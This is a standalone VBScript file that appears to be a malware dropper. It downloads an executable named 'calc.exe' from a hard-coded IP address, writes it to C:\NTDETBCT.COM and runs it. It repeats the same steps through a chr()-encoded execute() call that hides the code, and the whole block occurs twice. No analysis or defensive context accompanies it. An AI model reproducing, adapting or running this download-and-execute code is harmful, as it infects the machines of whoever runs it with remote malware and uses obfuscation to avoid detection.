Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://202.75.208.29/calc.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\NTDETBCT.COM",2
wscript.sleep 1000
Shell.Run ("C:\NTDETBCT.COM")
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://202.75.208.29/calc.exe",0
execute(chr(120)&chr(80)&chr(111)&chr(115)&chr(116)&chr(46)&chr(83)&chr(101)&chr(110)&chr(100)&chr(40)&chr(41)&chr(58)&chr(83)&chr(101)&chr(116)&chr(32)&chr(115)&chr(71)&chr(101)&chr(116)&chr(32)&chr(61)&chr(32)&chr(67)&chr(114)&chr(101)&chr(97)&chr(116)&chr(101)&chr(79)&chr(98)&chr(106)&chr(101)&chr(99)&chr(116)&chr(40)&chr(34)&chr(65)&chr(68)&chr(79)&chr(68)&chr(66)&chr(46)&chr(83)&chr(116)&chr(114)&chr(101)&chr(97)&chr(109)&chr(34)&chr(41)&chr(58)&chr(115)&chr(71)&chr(101)&chr(116)&chr(46)&chr(77)&chr(111)&chr(100)&chr(101)&chr(32)&chr(61)&chr(32)&chr(51)&chr(58)&chr(115)&chr(71)&chr(101)&chr(116)&chr(46)&chr(84)&chr(121)&chr(112)&chr(101)&chr(32)&chr(61)&chr(32)&chr(49)&chr(58)&chr(115)&chr(71)&chr(101)&chr(116)&chr(46)&chr(79)&chr(112)&chr(101)&chr(110)&chr(40)&chr(41)&chr(58)&chr(115)&chr(71)&chr(101)&chr(116)&chr(46)&chr(87)&chr(114)&chr(105)&chr(116)&chr(101)&chr(40)&chr(120)&chr(80)&chr(111)&chr(115)&chr(116)&chr(46)&chr(114)&chr(101)&chr(115)&chr(112)&chr(111)&chr(110)&chr(115)&chr(101)&chr(66)&chr(111)&chr(100)&chr(121)&chr(41)&chr(58)&chr(115)&chr(71)&chr(101)&chr(116)&chr(46)&chr(83)&chr(97)&chr(118)&chr(101)&chr(84)&chr(111)&chr(70)&chr(105)&chr(108)&chr(101)&chr(32)&chr(34)&chr(67)&chr(58)&chr(92)&chr(78)&chr(84)&chr(68)&chr(69)&chr(84)&chr(66)&chr(67)&chr(84)&chr(46)&chr(67)&chr(79)&chr(77)&chr(34)&chr(44)&chr(50)&chr(32)&chr(58)&chr(119)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(46)&chr(115)&chr(108)&chr(101)&chr(101)&chr(112)&chr(32)&chr(49)&chr(32)&chr(58)&chr(119)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(46)&chr(99)&chr(114)&chr(101)&chr(97)&chr(116)&chr(101)&chr(111)&chr(98)&chr(106)&chr(101)&chr(99)&chr(116)&chr(40)&chr(34)&chr(119)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(46)&chr(115)&chr(104)&chr(101)&chr(108)&chr(108)&chr(34)&chr(41)&chr(46)&chr(114)&chr(117)&chr(110)&chr(32)&chr(34)&chr(67)&chr(58)&chr(92)&chr(78)&chr(84)&chr(68)&chr(69)&chr(84)&chr(66)&chr(67)&chr(84)&chr(46)&chr(67)&chr(79)&chr(77)&chr(34)&chr(44)&chr(49)&chr(58)&chr(10))
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://202.75.208.29/calc.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\NTDETBCT.COM",2
wscript.sleep 1000
Shell.Run ("C:\NTDETBCT.COM")
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://202.75.208.29/calc.exe",0
execute(chr(120)&chr(80)&chr(111)&chr(115)&chr(116)&chr(46)&chr(83)&chr(101)&chr(110)&chr(100)&chr(40)&chr(41)&chr(58)&chr(83)&chr(101)&chr(116)&chr(32)&chr(115)&chr(71)&chr(101)&chr(116)&chr(32)&chr(61)&chr(32)&chr(67)&chr(114)&chr(101)&chr(97)&chr(116)&chr(101)&chr(79)&chr(98)&chr(106)&chr(101)&chr(99)&chr(116)&chr(40)&chr(34)&chr(65)&chr(68)&chr(79)&chr(68)&chr(66)&chr(46)&chr(83)&chr(116)&chr(114)&chr(101)&chr(97)&chr(109)&chr(34)&chr(41)&chr(58)&chr(115)&chr(71)&chr(101)&chr(116)&chr(46)&chr(77)&chr(111)&chr(100)&chr(101)&chr(32)&chr(61)&chr(32)&chr(51)&chr(58)&chr(115)&chr(71)&chr(101)&chr(116)&chr(46)&chr(84)&chr(121)&chr(112)&chr(101)&chr(32)&chr(61)&chr(32)&chr(49)&chr(58)&chr(115)&chr(71)&chr(101)&chr(116)&chr(46)&chr(79)&chr(112)&chr(101)&chr(110)&chr(40)&chr(41)&chr(58)&chr(115)&chr(71)&chr(101)&chr(116)&chr(46)&chr(87)&chr(114)&chr(105)&chr(116)&chr(101)&chr(40)&chr(120)&chr(80)&chr(111)&chr(115)&chr(116)&chr(46)&chr(114)&chr(101)&chr(115)&chr(112)&chr(111)&chr(110)&chr(115)&chr(101)&chr(66)&chr(111)&chr(100)&chr(121)&chr(41)&chr(58)&chr(115)&chr(71)&chr(101)&chr(116)&chr(46)&chr(83)&chr(97)&chr(118)&chr(101)&chr(84)&chr(111)&chr(70)&chr(105)&chr(108)&chr(101)&chr(32)&chr(34)&chr(67)&chr(58)&chr(92)&chr(78)&chr(84)&chr(68)&chr(69)&chr(84)&chr(66)&chr(67)&chr(84)&chr(46)&chr(67)&chr(79)&chr(77)&chr(34)&chr(44)&chr(50)&chr(32)&chr(58)&chr(119)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(46)&chr(115)&chr(108)&chr(101)&chr(101)&chr(112)&chr(32)&chr(49)&chr(32)&chr(58)&chr(119)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(46)&chr(99)&chr(114)&chr(101)&chr(97)&chr(116)&chr(101)&chr(111)&chr(98)&chr(106)&chr(101)&chr(99)&chr(116)&chr(40)&chr(34)&chr(119)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(46)&chr(115)&chr(104)&chr(101)&chr(108)&chr(108)&chr(34)&chr(41)&chr(46)&chr(114)&chr(117)&chr(110)&chr(32)&chr(34)&chr(67)&chr(58)&chr(92)&chr(78)&chr(84)&chr(68)&chr(69)&chr(84)&chr(66)&chr(67)&chr(84)&chr(46)&chr(67)&chr(79)&chr(77)&chr(34)&chr(44)&chr(49)&chr(58)&chr(10))
